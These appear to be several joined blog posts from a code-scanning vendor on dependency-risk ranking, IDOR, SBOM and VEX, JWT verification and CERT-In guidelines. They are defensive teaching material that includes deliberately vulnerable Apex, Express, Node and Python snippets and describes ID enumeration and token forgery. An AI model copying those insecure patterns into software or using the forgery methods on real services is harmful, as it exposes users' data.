If some-test-helper has an advisory, a report that puts it next to a vulnerable express overstates the risk to the running service.

Vulkro now holds back CVE findings for packages declared only as development dependencies: devDependencies in npm, [dev-packages] in a Pipfile, a dev group in Python project files. Such a finding is held at Low confidence, which takes it out of the default view and out of the default failure policy, so it no longer fails a --fail-on critical,high build.

It is not dropped, and the line is drawn conservatively:

• It keeps its true severity and stays visible with --all-confidence, in JSON and in SARIF, tagged (dev dependency).
• A package that is a production dependency in even one manifest of the project is never held back.
• VULKRO_SCA_DEV_DEP_DEMOTE=0 keeps dev-only CVEs at full confidence, for a pipeline that depends on the old exit codes while it re-baselines.

One caution worth stating. Development dependencies are not harmless in general: the npm worms of 2026 ran their payloads at install time, and a dev dependency installs on every developer machine and CI runner. That is a malicious-package problem, handled by different checks. This change is about known vulnerabilities in code that does not ship.

Signal two: is anyone exploiting it?​

Two public data sets answer this, and they answer different questions.

The CISA Known Exploited Vulnerabilities catalog is a list of vulnerabilities with evidence of exploitation in the wild. CISA describes it as "the authoritative source of vulnerabilities that have been exploited in the wild," and says organisations should use it as an input to their vulnerability management prioritisation. A KEV listing is a statement of fact about the past: someone has used this.

EPSS, the Exploit Prediction Scoring System run by FIRST, is a forecast. It estimates the probability that a published CVE will be exploited in the wild in the next 30 days, and FIRST publishes a fresh score for every CVE daily. Its FAQ is careful about what that number is not. EPSS is the threat-likelihood part of a risk calculation only. It does not measure impact or know anything about your environment, and FIRST warns against multiplying an EPSS probability by a CVSS score, because the result has no interpretable meaning.

Vulkro's local vulnerability bundle includes both data sets alongside the advisories, so every dependency finding can carry them without a network call at scan time. According to the dependencies and CVEs reference:

The bar for changing severity is deliberately high. A KEV listing is evidence, so it moves the finding to the top. A very high EPSS probability lifts a finding to at least High. Everything in the middle is shown as context and left to the ranking.

Signal three: does your code reach it?​

A vulnerable package that your project installs but never calls is a smaller problem than one on your request path. Vulkro computes two kinds of reachability for dependency findings:

• A call-shape tag for npm and PyPI. A finding is tagged [reachable] when a known call shape for the vulnerable package appears in your source, otherwise [unreachable]. An unreachable finding drops one severity tier. It is never removed.
• A call-graph verdict. Findings with known vulnerable symbols get a reachability verdict of reachable, unreachable or unknown, with the entry-point call chain. For Go, each advisory is checked against the exact function it names, which we described in imported is not reachable. This verdict is a label and does not move severity.

Both are approximations. They join names, so dynamic dispatch, reflection and import aliases can fool them in either direction. That is why an unreachable finding is lowered rather than deleted. It is also why making unreachable findings stop failing the build is an explicit flag, --fail-on-reachable-only, and not a default.

Putting the signals in one order​

Each finding gets a deterministic risk score from 0 to 100, and vulkro explain --risk-model prints the exact formula. It is a sum of named parts:

risk_score = clamp(0, 100, base + exploit + reach + conf + priority)

  base (severity)     Critical 50  High 38  Medium 22  Low 8  Info 2
  exploit (grade)     Exploitable +30  Likely +16  Theoretical +2
  reach (verdict)     Reachable +10  Unknown +2  Unreachable -12
  conf (confidence)   Verified +8  High +5  Medium +1  Low -6
  priority (SCA)      CISA KEV +12; else EPSS +round(pct/10) when pct >= 50

Every part is a signal the scan has already computed, so nothing is fetched and the same scan always ranks the same way. Note what the formula does not do. It never multiplies EPSS by a severity score. Exploitation data adds a bounded number of points, which keeps the EPSS FAQ's warning intact.

The score orders things. It never changes what was detected. On an interactive terminal, vulkro scan ends with a "Fix these first" list of the top ten. --top N changes the count and --top 0 turns it off. Every machine format carries risk_score and risk_rank on each finding, so a CI job or a dashboard can sort the same way.

Before and after​

Picture the same project's dependency report twice.

Before: three Criticals and eleven Highs. Two of the Criticals are in a test runner and a documentation generator. The third is in a library your request handlers call, with a KEV listing that was easy to miss because nothing set it apart.

After: the KEV-listed library sits at the top as Critical, with its tag and the call chain into your handler. The test-runner and doc-generator CVEs are out of the default view and the default gate, still listed under --all-confidence and in SARIF as dev dependencies. A High in a package your code imports but never calls carries an [unreachable] tag one tier lower, ranked below the reachable ones.

Nothing was deleted. The report just stopped asking you to treat every advisory as equally urgent.

What this does not decide for you​

These signals rank work. They do not close it. An unreachable verdict can be wrong, a dev dependency can become a production one in the next pull request, and an EPSS score of 2% is a probability, not a promise. Keep upgrading everything on a schedule. Use the ranking to decide what goes first, and what can wait for the routine bump.

Try it on your lockfile​

Run vulkro update to refresh the local bundle, then vulkro scan on a project with a lockfile. Add --all-confidence to see the dev-only findings that were held back, and --format json or --format sarif to read risk_score, the KEV and EPSS tags and the reachability verdicts. The dependencies and CVEs reference and the scan reference cover the flags. To run it on your own project, start here.

Sources​

• CISA, Known Exploited Vulnerabilities catalog
• FIRST, Exploit Prediction Scoring System (EPSS)
• FIRST, EPSS frequently asked questions

That is broken object-level authorization, also called an insecure direct object reference or IDOR. The OWASP Top 10:2025 keeps broken access control at number one, and says that "100% of the applications tested were found to have some form of broken access control." Among the weaknesses it maps there is CWE-639, authorization bypass through a user-controlled key: the changed number.

What it looked like in 2025​

A hiring platform and a sequential id​

In June 2025 two researchers looked at the platform a large fast-food chain used to screen job applicants. As they describe it, a test administrator account accepted 123456 as both username and password. Once inside, an API call, PUT /api/lead/cem-xhr, took a lead_id. Their own test applicant had an id around 64 million. Decrementing it returned other applicants' names, email addresses, phone numbers and addresses, plus tokens that opened their chat histories. The researchers estimated up to 64 million records were reachable.

The vendor said that "five candidates in total had information viewed because of this incident, and it was only viewed by the security researchers," and the issue was closed within a day of disclosure. The default password was the way in. The missing ownership check was what turned one account into everyone.

A partner portal and a guessable key​

In May 2024 Dell notified customers that an attacker had obtained order data. The person claiming responsibility told TechCrunch that he registered partner accounts under fake company names, then "brute-forced customer service tags" at "more than 5,000 requests per minute" for nearly three weeks. TechCrunch matched names and service tags in the stolen data against real customers who had received breach notices. Dell said it was already investigating.

Treat the method as the attacker's account. The shape is still worth naming: an authenticated caller could look up records by a key, every valid key returned a customer, and nothing slowed the lookup down.

Generated apps and a missing database policy​

In May 2025 CVE-2025-48757 described sites generated by an AI app builder that queried their Supabase database straight from the browser "using a public and unprivileged anon key", and relied on Row Level Security to keep each user to their own rows. Where that policy was missing or too loose, anyone could read the tables. The researcher lists users, API keys and payment records among what was exposed. The supplier disputes the CVE, arguing each customer is responsible for securing their own data.

It is the same bug moved into the database. The query trusts the caller to ask only for what is theirs.

Salesforce: the same bug in Apex​

Salesforce has its own version, and it is the one behind the March 2026 mass scanning of public sites, which Salesforce attributed to customer-configured guest access rather than a platform flaw. An @AuraEnabled method takes a record id and runs without sharing:

public without sharing class InvoiceController {
    @AuraEnabled(cacheable=true)
    public static Invoice__c getInvoice(Id invoiceId) {
        return [SELECT Id, Amount__c, Account__c FROM Invoice__c WHERE Id = :invoiceId];
    }
}

without sharing means the record-level rules do not apply, so any user who can call the class can read any invoice by id. If the class is granted to a site's guest profile, "any user" includes anonymous visitors. We walked that path hop by hop in the anatomy of a guest user data leak. The fix is to let the platform do the check:

public with sharing class InvoiceController {
    @AuraEnabled(cacheable=true)
    public static Invoice__c getInvoice(Id invoiceId) {
        return [SELECT Id, Amount__c, Account__c FROM Invoice__c
                WHERE Id = :invoiceId WITH USER_MODE];
    }
}

Why scanners miss it​

Injection has a signature: untrusted data reaches a dangerous function. Access control does not. SELECT * FROM applicants WHERE id = $1 is a perfectly safe query, parameterized and correct. The bug is a predicate that is not there: no AND owner_id = $2, no tenant filter, no sharing mode. A scanner that only looks for dangerous calls has nothing to match.

Finding it means reading three things together: where the id comes from (the request), what it reaches (a lookup or a write), and what is missing in between (any check that ties the record to the caller). Then deciding who can reach the handler at all, because a missing check on an admin-only route is a different finding from one on a public route.

What Vulkro checks​

In application code (Vulkro Core)​

Here is the hiring-platform shape in Express:

app.get('/api/applicants/:id', requireAuth, async (req, res) => {
  const row = await db.query('SELECT * FROM applicants WHERE id = $1', [req.params.id]);
  res.json(row.rows[0]);
});

vulkro scan reports it as idor-authn-no-ownership: the route authenticates the caller, but the query is keyed by the caller-supplied id with no ownership or tenant check. The fix is one predicate:

app.get('/api/applicants/:id', requireAuth, async (req, res) => {
  const row = await db.query(
    'SELECT * FROM applicants WHERE id = $1 AND owner_id = $2',
    [req.params.id, req.user.id],
  );
  if (row.rows.length === 0) return res.sendStatus(404);
  res.json(row.rows[0]);
});

The related checks cover the variations:

• AUTHZ-001: a taint-aware cross-tenant IDOR, where the request value reaches the lookup through helpers.
• MT-001: a tenant id read from the request body instead of the session, so any caller can name another tenant.
• AUTHZ-005: a privileged route under /admin that takes a sequential numeric id.
• rate-001: endpoints with no rate limiter in scope, which is what turns one guessable key into three weeks of scraping.
• SUPA-RLS-003, SUPA-RLS-002 and SUPA-RLS-001: browser code querying Supabase tables with no Row Level Security in the repo, a service-role key in the browser, and Firebase rules that allow anything.

Each finding names the route, the lookup and the check that is missing, and vulkro prove shows whatever data-flow hops it can establish behind it. All of these run on your machine. The local console and the VS Code extension also join findings into attack paths, from every entry point to every sink across the whole application, so you can see which gaps a public route can actually reach.

In Apex (Vulkro for Salesforce)​

vulkro-sf scan reports the Apex shape above in several ways, depending on how much it can prove:

• apex-taint-id-flow-idor: a request-supplied record id reaches SOQL or DML with no sharing or ownership check on the method or any method that dominates it.
• broken-object-level-auth/idor: an @AuraEnabled or REST method takes a record id and queries or changes it in a class that runs without sharing.
• apex-rest-entrypoint-without-authz: an @HttpGet to @HttpDelete method that reads or writes records from a client value with no sharing, ownership, CRUD or field-level gate.
• sf-guest-aura-read-no-fls: a guest-reachable Aura method that returns records without field security.

When the guest profile, the class grant and the missing check line up, the findings are joined into one path from the anonymous visitor to the object. The code and metadata checks run on your project without an org connection. Checking who actually holds each profile and permission set in the live org is part of Pro.

Look for the missing check​

Access control bugs survive because they are absences, and absences do not show up in code review unless someone goes looking for them. Run the check on the repository you have open: Vulkro Core for application code, Vulkro for Salesforce for Apex and metadata. Start here.

Sources​

• OWASP, A01:2025 Broken Access Control, OWASP Top 10:2025
• Ian Carroll, McHire disclosure, July 2025
• CSO Online, McDonald's AI hiring tool's password exposed data of 64M applicants, 11 July 2025
• TechCrunch, Threat actor scraped 49M Dell customer addresses before the company found out, 10 May 2024
• Matt Palmer, CVE-2025-48757, May 2025
• Salesforce, Essential actions to secure Experience Cloud guest user access, March 2026

This post covers what each document records, what the VEX statuses and not_affected justifications mean in the CISA and OpenVEX vocabulary, and why a not_affected claim needs reachability evidence before anyone should trust it. It ends with the commands Vulkro Core uses to produce both on your own machine.

What is an SBOM?​

An SBOM is a machine-readable list of the components a piece of software is built from: each package, its version, a unique identifier and the relationships between them. CISA describes it as a "nested inventory" of the ingredients that make up software components, on its SBOM resource page.

The baseline most tooling still checks against is the NTIA's 2021 minimum elements: supplier name, component name, version, other unique identifiers, dependency relationships, author of the SBOM data and a timestamp. In July 2026 CISA and partner agencies published the 2026 Minimum Elements for an SBOM, which updates that baseline and adds fields such as component hashes, licences and the name of the generating tool. Both are voluntary guidance, but procurement teams increasingly copy them into contracts.

Two formats dominate:

• CycloneDX, an OWASP project (specification). Components, dependencies and, in the same document, known vulnerabilities and their analysis.
• SPDX, a Linux Foundation project published as ISO/IEC 5962 (spdx.dev). Strong on licensing, widely read by legal and procurement pipelines.

Either is fine. Pick the one the person asking can read. The important property is that the versions are the ones your lockfile resolved, not the ranges your manifest declared. An SBOM that says ^4.17.0 cannot answer whether you ship 4.17.20.

What is VEX, and why is an SBOM not enough?​

Hand someone an SBOM and the first thing they do is match it against vulnerability data. For a typical web application that produces dozens of matches. Most of them do not matter, because the vulnerable function sits in a part of the library the product never calls. The SBOM cannot say so. It lists what is present, not what is used.

VEX is the companion document that says so. CISA's Minimum Requirements for VEX (April 2023) defines it as a statement, per product and per vulnerability, of the product's status. OpenVEX is a compact JSON implementation of those requirements, and CycloneDX carries the same idea in its vulnerabilities[].analysis block.

What do the VEX statuses mean?​

There are four statuses, and OpenVEX spells them like this:

under_investigation is the honest default. It is not a failure to fill in the form. It says the supplier has not reached a conclusion, which is far more useful than a confident guess.

What are the not_affected justifications?​

A bare not_affected is an assertion with nothing behind it, so both CISA and OpenVEX attach a reason. CISA's VEX Status Justification document (June 2022) defines five, and OpenVEX uses the same labels:

• component_not_present: the vulnerable component is not in the product at all.
• vulnerable_code_not_present: the component is there, but the vulnerable code is not (for example, it was compiled out).
• vulnerable_code_not_in_execute_path: the vulnerable code is present but the product never runs it.
• vulnerable_code_cannot_be_controlled_by_adversary: it runs, but an attacker cannot control its input.
• inline_mitigations_already_exist: built-in protections that the user cannot turn off prevent exploitation.

The third one is the most common case and the easiest to get wrong. CISA's definition carries a warning worth reading twice: a single path of execution "should not be assumed", because an attacker may divert it. In other words, "we never call it" has to mean "nothing reachable calls it", not "the main flow does not call it".

Why does reachability evidence make a VEX credible?​

A VEX is usually written by hand. Someone reads the advisory, looks at the code, decides the product is fine and types not_affected. The person receiving it has no way to check the reasoning. If the claim is wrong, a real vulnerability has been suppressed with a signature on it.

The fix is to derive the verdict from the code, and to refuse to claim more than the code shows. That is how Vulkro writes its VEX:

• affected when a call chain runs from one of your entry points (a route, a handler, an exported tool) to the function the advisory names. The statement cites that chain in status_notes.
• not_affected, with the justification vulnerable_code_not_in_execute_path, only when the advisory names its vulnerable functions and no entry point reaches one.
• under_investigation in every other case, including the common one where the advisory does not say which functions are vulnerable. No signal is never read as safe.

Here is what that looks like in OpenVEX:

{
  "@context": "https://openvex.dev/ns/v0.2.0",
  "statements": [
    {
      "vulnerability": { "name": "CVE-2023-29401" },
      "products": [ { "@id": "pkg:golang/github.com/gin-gonic/gin@1.7.7" } ],
      "status": "not_affected",
      "justification": "vulnerable_code_not_in_execute_path"
    },
    {
      "vulnerability": { "name": "CVE-2021-23337" },
      "products": [ { "@id": "pkg:npm/lodash@4.17.20" } ],
      "status": "affected",
      "status_notes": "Reachability evidence for lodash: call chain: POST /invoices (routes/invoice.ts:12) -> buildInvoice (routes/invoice.ts:47) ..."
    }
  ]
}

The affected row is the one a reviewer can act on: it names the route and the function. The not_affected row is one a reviewer can challenge, because it rests on a named function and a call graph rather than on someone's reading of an advisory.

Reachability is static analysis and it has limits. Reflection, dynamic dispatch and aliasing can hide a call. We covered how Vulkro handles this per advisory in imported is not reachable, and how the verdict feeds into ranking in ranking dependency alerts by real risk. The short version: treat affected as "look here first", and treat not_affected as a claim with stated grounds, not a guarantee.

How do you generate an SBOM and VEX?​

With Vulkro Core, both come from the same scan, on your machine, from the lockfiles on disk:

# the inventory
vulkro sbom . --format cyclonedx > sbom.cdx.json      # CycloneDX 1.6
vulkro sbom . --format spdx > sbom.spdx.json          # SPDX 2.3

# the verdicts
vulkro sbom . --format openvex > vex.openvex.json     # OpenVEX 0.2.0
vulkro sbom . --format cyclonedx-vex > vex.cdx.json   # CycloneDX 1.6 VEX

# check an SBOM you already have (yours or a supplier's)
vulkro sbom --check supplier-sbom.json

# re-match an existing SBOM as new advisories land
vulkro match-cve --sbom sbom.cdx.json --format table

--format also accepts cyclonedx-1.7 and spdx3 (SPDX 3.0.1) for pipelines that want the newer specifications, plus cbom for weak cryptography and aibom for AI components. --check reads a CycloneDX or SPDX file and names each missing NTIA minimum element with a fix, exiting 1 when a required field is missing, which makes it a reasonable gate on SBOMs your suppliers send you. Add --offline to any of these to guarantee no network call is made.

A licence the scanner could not resolve is written as unknown, never guessed, and a dependency declared in a format Vulkro does not read is reported as unread rather than clean.

A checklist before you send one​

• The SBOM lists resolved versions from a lockfile, not declared ranges.
• Every component has a package URL (purl) or another unique identifier.
• The SBOM was generated for the exact release you are shipping, and is stored with it.
• Every not_affected statement carries a justification you could defend in a meeting.
• Anything you have not analysed is under_investigation, not silently omitted.
• You have a plan to re-match the SBOM when new advisories land, not only at release.

If the request comes from a regulator rather than a customer, the context changes but the files do not. Our post on the EU Cyber Resilience Act covers where SBOMs and VEX fit in CRA reporting.

Where to see it​

The SBOM and VEX page shows the formats side by side, and the supply chain use case covers the rest of the dependency picture: malicious packages and leaked keys. The vulkro sbom reference lists every flag, and the dependencies and CVEs reference explains how reachability is computed. To run it against your own repository, start here.

Frequently asked questions​

What is the difference between an SBOM and a VEX?​

An SBOM lists the components in a product and their versions. A VEX states, for each known vulnerability in those components, whether the product is affected. The SBOM is the inventory; the VEX is the verdict on each advisory that matches it.

Is VEX part of the SBOM or a separate file?​

Either. CycloneDX can carry vulnerability analysis inside the SBOM or in a separate VEX document, while OpenVEX is always a standalone file that refers to products by identifier. A separate file is easier to update as new advisories arrive without reissuing the inventory.

When can a supplier claim not_affected?​

Only with a justification: the component is absent, the vulnerable code is absent, it is not in the execute path, an adversary cannot control it, or inline mitigations exist. CISA's guidance and the OpenVEX specification both require that reason. A claim of "not in the execute path" should rest on evidence that nothing reachable calls the vulnerable code.

Should I trust a VEX I receive from a vendor?​

Treat it as the vendor's stated position, and ask what it is based on. A not_affected statement that names the vulnerable function and the analysis behind it is far easier to rely on than one with no notes. Where the stakes are high, re-match the SBOM yourself and compare.

Most JWT libraries ship two functions that look alike. One verifies the signature and returns the claims. The other skips the check and returns the claims anyway, because there are honest reasons to peek inside a token: reading the kid header to choose a key, or showing an expiry time in a UI. When the second function ends up in the authentication middleware, the application still has a sign-in screen, still issues tokens and still rejects requests without one. It just accepts any token at all.

Two functions that look alike​

In Node, the popular jsonwebtoken package has jwt.verify() and jwt.decode(). Its README is blunt about the second: it "will not verify whether the signature is valid", and should not be used for untrusted messages. Here is the shape we see when that warning is missed:

// Vulnerable: claims are trusted, signature is never checked
const jwt = require('jsonwebtoken');

function requireUser(req, res, next) {
  const token = (req.headers.authorization || '').replace('Bearer ', '');
  const claims = jwt.decode(token);
  if (!claims) return res.sendStatus(401);
  req.user = { id: claims.sub, roles: claims.roles };
  next();
}

app.get('/api/admin/users', requireUser, requireRole('admin'), listUsers);

Everything downstream looks correct. requireRole('admin') checks req.user.roles. But req.user came from a payload the caller wrote. A token with {"sub": "1", "roles": ["admin"]} and any signature, or none, walks through.

The fix is to verify, and to say exactly what a valid token looks like:

// Fixed: verify signature, algorithm, audience and issuer
function requireUser(req, res, next) {
  const token = (req.headers.authorization || '').replace('Bearer ', '');
  try {
    const claims = jwt.verify(token, process.env.JWT_PUBLIC_KEY, {
      algorithms: ['RS256'],
      audience: 'my-api',
      issuer: 'https://idp.example.com/',
    });
    req.user = { id: claims.sub, roles: claims.roles };
    next();
  } catch {
    res.sendStatus(401);
  }
}

Python has the same trap with different spelling. PyJWT's jwt.decode() verifies by default, but accepts options={"verify_signature": False}. The PyJWT documentation calls this "generally ill-advised" unless you clearly understand what you are doing, and notes that without the signature the claims cannot be trusted.

# Vulnerable: FastAPI dependency that reads claims without verifying them
def current_user(authorization: str = Header(...)):
    token = authorization.removeprefix("Bearer ")
    claims = jwt.decode(token, options={"verify_signature": False})
    return db.get_user(claims["sub"])

# Fixed: key, pinned algorithm, audience and issuer
def current_user(authorization: str = Header(...)):
    token = authorization.removeprefix("Bearer ")
    claims = jwt.decode(
        token,
        PUBLIC_KEY,
        algorithms=["RS256"],
        audience="my-api",
        issuer="https://idp.example.com/",
    )
    return db.get_user(claims["sub"])

python-jose's jwt.get_unverified_claims() and a hand-rolled base64.urlsafe_b64decode(token.split(".")[1]) do the same thing as the vulnerable version, with less ceremony.

How it ends up in production​

Nobody writes "accept any token" on purpose. The usual stories are ordinary:

• A gateway or identity-aware proxy verified tokens, so the service behind it only needed to read them. Later the service gained a second route in that skipped the gateway.
• The decode was written for a quick prototype and the verify step was planned for later.
• The developer needed the kid header to pick a key, decoded the token to get it, and never called the verifying function afterwards.
• A verifying call sits in a try block whose catch is empty, so a failed verification falls through to the code that trusts the claims.

None of these leave an obvious mark in a diff. The middleware still has "auth" in its name, and tests that send a valid token still pass.

The history: the attacker picks the algorithm​

Unverified decoding is the bluntest version of a problem that has followed JWTs since the start: the token tells the verifier how to verify it. Tim McLean's write-up on the Auth0 blog described two attacks that shaped every library since. Some libraries accepted tokens whose header said "alg": "none" as validly signed. Others, expecting an RSA signature, would accept an HMAC one and use the server's public key as the HMAC secret, which anyone can do since the key is public.

The advisories followed. CVE-2015-9235 is the algorithm-confusion bypass in jsonwebtoken before 4.2.2, rated Critical. Years later, CVE-2022-23540 covered jsonwebtoken before 9.0.0: when jwt.verify() was called with no algorithm list and a falsy key, it fell back to none, so an unsigned token passed verification. The 9.0.0 release removed that default.

The pattern is still being fixed in application code. In 2026 the GitHub advisory CVE-2026-59163, rated Critical, described a Python sync server whose authentication decoded bearer tokens without verifying their HMAC signatures. Per the advisory, any well-formed token was accepted, including alg: none, so an attacker could forge a token for any user and read or change that user's data. The fix replaced the decode with a verifier that pins HS256 and checks expiry.

The standards body wrote down the lesson. RFC 8725, the JSON Web Token Best Current Practices (BCP 225, published in 2020), lists none and algorithm substitution under weak signatures and insufficient validation, and requires that libraries "MUST enable the caller to specify a supported set of algorithms." In practice that means three rules for application code:

1. Always call the verifying function, with a key, before reading claims you will act on.
2. Pass an explicit algorithm allowlist. Never accept none unless the token is protected some other way and you have decided that on purpose.
3. Check exp, aud and iss. A correctly signed token for a different audience is still the wrong token.

Why this is hard to see in a findings list​

A lot of scanners already flag jwt.decode( as a line, or verify_signature: False as a literal. That is a useful start, and it is also noisy: plenty of code decodes a token to log it, to show an expiry date, or to read the kid before verifying. If every decode is a finding, the one in the middleware is buried among the harmless ones.

The question that matters is not "is there a decode" but "does an identity decision rest on it, and what does that decision protect". A decode in the authentication middleware of forty routes is a different finding from a decode in a debug page.

What Vulkro reports​

Vulkro 0.34.0 added the forgeable-token-auth rule for JavaScript, TypeScript and Python. It looks for code that reads a token's claims without a signature check: jwt.decode(), jwtDecode(), jose.decodeJwt(), a base64 decode of the payload segment, PyJWT with verify_signature: False, and python-jose's get_unverified_claims(). It reports only when all three of these hold:

• the token comes from the request (a header, cookie, query value or a parameter the caller hands in),
• the decoded claims make an identity or authorization decision in the same function (installed as the caller, compared against a role, used to look the user up, or gating next()),
• no verification happens on that path, and no verifying guard sits in front of the endpoints the code serves. A verify whose error is swallowed by an empty catch does not count as verification.

Decoding for display or logging does not fire.

When the decode sits in the authentication middleware of one or more endpoints, the finding is Critical and the message gives the number of endpoints it guards, because every one of them is an authentication bypass. Otherwise it is High. The proof is three hops: token read from the request, decoded without a signature check, claims trusted as identity. vulkro prove prints that chain for the finding.

The rule also changes the route inventory. A decode-only middleware is recorded as a guard that does not authenticate, so the endpoints behind it read as unauthenticated rather than signed in. That matters beyond this one finding: severity in Vulkro comes from who can reach the code, so other findings on those routes are now ranked as reachable by anyone, which is what they are.

Two related cases are worth knowing:

• An identity header set by an identity-aware proxy (for example Cloudflare Access, Google IAP or an AWS load balancer's OIDC headers) trusted without verifying the proxy's signed assertion is reported too, at High at most, because forging it needs a path to the origin that skips the proxy.
• Go and Java have their own rules for the same shape, go-jwt-parse-unverified-authz and java-jwt-decode-unverified, and the literal patterns (alg: 'none', a hardcoded signing secret) keep their own findings.

If a gateway really does verify every token before the service, say so with an inline // vulkro:disable forgeable-token-auth comment and a reason, and make sure the service cannot be reached any other way.

Where to see it​

Run vulkro scan on a repository with a Node or Python API and look for forgeable-token-auth. vulkro explain forgeable-token-auth prints the full rule with fixes, and the broken authentication rule page covers the wider family. For the access-control side of the same problem, see broken access control is still number one. To get set up, start here.

Sources​

• auth0/node-jsonwebtoken, README
• PyJWT, Usage examples
• Tim McLean, Critical vulnerabilities in JSON Web Token libraries, Auth0 blog
• GitHub Advisory Database, CVE-2015-9235: Verification Bypass in jsonwebtoken
• GitHub Advisory Database, CVE-2022-23540: jsonwebtoken insecure default algorithm
• GitHub Advisory Database, CVE-2026-59163: JWT signature verification bypass in a sync server
• IETF, RFC 8725: JSON Web Token Best Current Practices

This post covers who the guidelines are aimed at, the 21 data fields they list as minimum elements, what they say about vulnerability status, and how to generate an SBOM and check it against those fields before a customer does.

What are the CERT-In SBOM guidelines?​

CERT-In, the Indian Computer Emergency Response Team under the Ministry of Electronics and Information Technology, published an SBOM-only first version of these guidelines in 2024. Version 2.0, dated 9 July 2025, keeps the SBOM material and adds four more bills of materials: a quantum BOM (QBOM) and cryptographic BOM (CBOM), an AI BOM (AIBOM) and a hardware BOM (HBOM).

It is guidance, not a statute. The document says departments and organisations "are encouraged" to make providing an SBOM a mandatory part of software procurement and development, and recommends that government, public sector and essential services organisations put SBOM requirements into every software purchase. In practice that is how it reaches suppliers: through contracts and vendor questionnaires. Law firm Khaitan & Co reads it the same way: not mandatory across the board, but a signal of where regulation is heading, with BOM obligations best written into contracts.

Who do the guidelines apply to?​

Section 2.2 names the audience: entities "especially in the Government, Public Sector, Essential Services Organizations" and organisations in software exports and software services. Within those, it describes three roles:

• Software consumers, who acquire software to run their operations.
• Software developers, who build custom software.
• System integrators and resellers, who distribute, customise and support software products.

If you build software that ends up with one of those consumers, you are the developer the SBOM is asked of. The guidelines use banks and fintech as a worked example, which is why the request often arrives through financial-sector security reviews.

What are the CERT-In SBOM minimum elements?​

Like the US NTIA baseline, CERT-In splits minimum elements into data fields, automation support and practices. The difference is the data fields. Table 5 of version 2.0 lists 21:

The grouping is ours; the fields are CERT-In's. For automation support it names the two formats you would expect, SPDX and CycloneDX. Practices cover frequency, depth, known unknowns, distribution, access control and the handling of mistakes.

Several of these fields are facts no scanner can know. Release date, end-of-life date and criticality describe a component's lifecycle and its importance to your product. A tool that fills them in automatically is guessing. They have to come from the producer, which is you.

What do the guidelines say about vulnerabilities and VEX?​

Chapter 6 asks suppliers to publish a VEX document once a vulnerability is known, and to keep it updated. It uses the same four statuses as the CISA and OpenVEX vocabulary: not affected, affected, fixed and under investigation. It then expects a CSAF advisory to follow with the detail.

The "patch status" and "vulnerabilities" fields in the SBOM table are the hook for this. An SBOM that lists components but says nothing about their known vulnerabilities, or lists vulnerabilities with no status, is missing part of what CERT-In asks for. We explain the VEX statuses and the not_affected justifications in SBOM and VEX explained.

How do you produce and check a CERT-In SBOM?​

Vulkro Core generates the SBOM from your lockfiles and checks it, on your machine:

# generate: CycloneDX 1.6 with matched advisories in the same document
vulkro sbom . --format cyclonedx > sbom.cdx.json

# add the vulnerability status per advisory
vulkro sbom . --format cyclonedx-vex > vex.cdx.json

# check any SBOM, yours or a supplier's, against the CERT-In field set
vulkro sbom --check sbom.cdx.json --profile cert-in

--profile cert-in runs the NTIA minimum-elements check first, then adds the CERT-In fields the NTIA set does not cover. Here is the output for a deliberately thin one-component CycloneDX file:

[recommended] cert-in: components[].supplier: 1 of 1 component(s) have no supplier: ...
[recommended] cert-in: components[].description: 1 of 1 component(s) have no description: ...
[recommended] cert-in: components[].release date: 1 of 1 component(s) have no release date: ...
[recommended] cert-in: components[].end-of-life date: 1 of 1 component(s) have no end-of-life date: ...
[recommended] cert-in: components[].criticality: 1 of 1 component(s) have no criticality: ...
[recommended] cert-in: vulnerabilities: no `vulnerabilities` array: ...
▸ t.cdx.json: 0 required field(s) missing, 6 recommended.

Each line ends with the fix (trimmed here). Two design decisions are worth knowing:

• Only the NTIA minimum decides the exit code. A missing name, version, identifier, dependency relationship, author, timestamp, hash or licence is a required gap and exits 1. The CERT-In extras are reported as recommended, because several of them are lifecycle facts only the producer can supply, and failing a build over a field no tool can honestly fill would push people to invent values.
• Lifecycle fields are read from component properties. The check looks for properties such as release-date, end-of-life and criticality on each CycloneDX component. Add them in your release process, where someone knows the answer (the values below are illustrative):

{
  "type": "library",
  "name": "lodash",
  "version": "4.17.21",
  "purl": "pkg:npm/lodash@4.17.21",
  "supplier": { "name": "OpenJS Foundation" },
  "description": "Utility functions for arrays, objects and strings",
  "properties": [
    { "name": "cert-in:release-date", "value": "2021-02-20" },
    { "name": "cert-in:end-of-life", "value": "not announced" },
    { "name": "cert-in:criticality", "value": "medium" }
  ]
}

The check is honest about its edges. The CERT-In extras apply to CycloneDX files; an SPDX document gets the NTIA check only. Origin, comments and the executable, archive and structured properties are not checked. A clean result means the fields are present, not that their values are correct.

For a reviewer who wants evidence rather than a file, vulkro compliance-pack . --framework cert-in-sbom -o cert-in-evidence/ writes a folder that maps each part of the guideline (SBOM generation, minimum fields, dependency relationships, VEX status, integrity and licensing, the CBOM and the AIBOM) to the findings and artefacts behind it, with file and line. The quantum and hardware BOMs are listed as out of scope for a source scan, rather than quietly passed.

What about the CBOM and AIBOM sections?​

Version 2.0 asks for an inventory of cryptographic assets and, for AI systems, of models, datasets and frameworks. Vulkro covers the parts that live in source code: --format cbom lists weak algorithms with the file and line where each is used, and --format aibom lists AI SDKs, model identifiers, model files and MCP servers. We wrote about the second in an AI bill of materials. Neither replaces the hardware, training-data or deployment questions the guidelines also ask.

A checklist for a CERT-In SBOM request​

• Generate the SBOM per release from lockfiles, in CycloneDX or SPDX.
• Give every component a unique identifier (a purl), a hash and a licence.
• Add supplier, description, release date, end-of-life date and criticality where you know them.
• Attach vulnerability status as VEX, and mark anything unanalysed as under investigation.
• Run vulkro sbom --check FILE --profile cert-in and fix every required gap before sending.
• Decide who keeps the SBOM current and how often, since frequency is one of the practices CERT-In names.

Supply chain incidents are why the guidelines exist. Our write-up of supply-chain attacks as a code problem covers the attacks an inventory helps you respond to.

Where to see it​

The compliance evidence use case shows how Vulkro maps findings to controls across frameworks, and the SBOM and VEX page shows the formats. The vulkro sbom reference and the compliance-pack reference list every flag. To run the check on your own SBOM, start here.

Frequently asked questions​

Are the CERT-In SBOM guidelines mandatory?​

Not by themselves. They are technical guidelines that encourage government, public sector and essential services organisations to require SBOMs in procurement. Suppliers usually meet them as a contract or questionnaire requirement from those buyers.

Which version of the CERT-In SBOM guidelines is current?​

Version 2.0, dated 9 July 2025. It replaced the earlier SBOM-only guidelines and widened the scope from SBOM alone to QBOM and CBOM, AIBOM and HBOM.

Does a CycloneDX SBOM satisfy the CERT-In guidelines?​

The format does: CERT-In names both CycloneDX and SPDX. Whether a given file satisfies the guidelines depends on its fields. Most generated SBOMs cover identity and dependencies but lack the lifecycle fields, which is what --profile cert-in reports.

